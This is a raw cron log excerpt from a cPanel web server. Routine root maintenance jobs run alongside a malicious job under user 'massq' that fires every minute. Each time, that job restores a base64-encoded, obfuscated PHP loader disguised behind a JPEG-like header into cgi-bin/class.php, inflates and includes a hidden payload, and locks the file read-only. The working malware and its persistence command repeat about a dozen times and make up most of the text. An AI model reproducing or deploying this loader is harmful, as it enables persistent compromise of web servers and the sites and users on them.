Sep 11 21:32:01 server CROND[15128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:32:01 server CROND[15129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:32:01 server CROND[15130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:33:01 server CROND[15595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:33:01 server CROND[15596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:33:01 server CROND[15597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:34:01 server CROND[15965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:34:01 server CROND[15964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:34:01 server CROND[15966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:35:01 server CROND[16343]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:35:01 server CROND[16345]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:35:01 server CROND[16354]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:35:01 server CROND[16357]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 21:35:01 server CROND[16355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:35:01 server CROND[16358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:35:01 server CROND[16356]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:35:01 server CROND[16360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:35:01 server CROND[16359]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 21:36:01 server CROND[17164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:36:01 server CROND[17165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:36:01 server CROND[17166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:37:01 server CROND[17534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:37:01 server CROND[17535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:37:01 server CROND[17536]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:38:01 server CROND[17913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:38:01 server CROND[17912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:38:01 server CROND[17911]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:39:01 server CROND[18385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:39:01 server CROND[18386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:39:01 server CROND[18387]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 21:39:01 server CROND[18388]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:40:01 server CROND[18819]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 21:40:01 server CROND[18821]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 21:40:01 server CROND[18822]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 21:40:01 server CROND[18824]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 21:40:01 server CROND[18823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:40:01 server CROND[18825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:40:01 server CROND[18827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:40:01 server CROND[18829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 21:41:01 server CROND[19645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:41:01 server CROND[19646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:41:01 server CROND[19648]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:42:01 server CROND[20127]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 21:42:01 server CROND[20128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:42:01 server CROND[20126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:42:01 server CROND[20129]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:43:01 server CROND[20572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 21:43:01 server CROND[20573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 21:43:01 server CROND[20574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 21:44:01 server CROND[21033]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
